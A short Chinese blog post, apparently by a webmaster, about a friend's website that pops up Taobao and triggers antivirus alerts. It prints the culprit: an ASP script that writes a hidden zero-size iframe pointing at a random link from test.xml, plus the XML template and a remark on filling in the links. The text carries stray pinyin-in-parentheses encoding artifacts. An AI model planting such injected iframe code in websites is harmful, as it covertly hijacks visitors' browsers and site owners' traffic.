今天龍巖seo的一個(gè)朋友說他網(wǎng)站是不是中毒了,既然會(huì)彈出淘寶的網(wǎng)站,我試著訪問下他的網(wǎng)站,除了彈出淘寶網(wǎng)站以外,殺毒軟件會(huì)彈出警告信息。
我看了代碼,有一段代碼好可疑,隱藏深。
ASP文件:
[php]
<%
Option Explicit
Response.Buffer = True
Dim xml
dim conu,dd
dd=0
Randomize
Set xml = Server.CreateObject("Microsoft.XMLDOM")
xml.async = False
xml.load (Server.MapPath("test.xml"))
Dim title, heading, paragraph, testHTML
title = xml.documentElement.childNodes(Int((100 * Rnd) + 1) ).text
Set xml = Nothing
response.write "document.write(""<iframe src='"&title&"' width='0' height='0'></iframe>"");"
'response.write "window.open ('"&title&"', 'newwindow', 'height=300, width=400, top=250, left=300,toolbar=no, menubar=no, scrollbars=no, resizable=no,location=n o, status=no');"
%>
[/php]
大概意思是隨處產(chǎn)生test.xml文件下的鏈接。
test.xml文件:
[php]</pre>
<?xml version="1.0" encoding="gb2312"?>
<bookstore>
<link>鏈接地址</link>
<link>鏈接地址</link>
<link>鏈接地址</link>
<link>鏈接地址</link>
<link>鏈接地址</link>
</bookstore>
[/php]
其中鏈接地址就是外鏈的地址要多少個(gè)地址直接寫多少個(gè)。
發(fā)表評(píng)論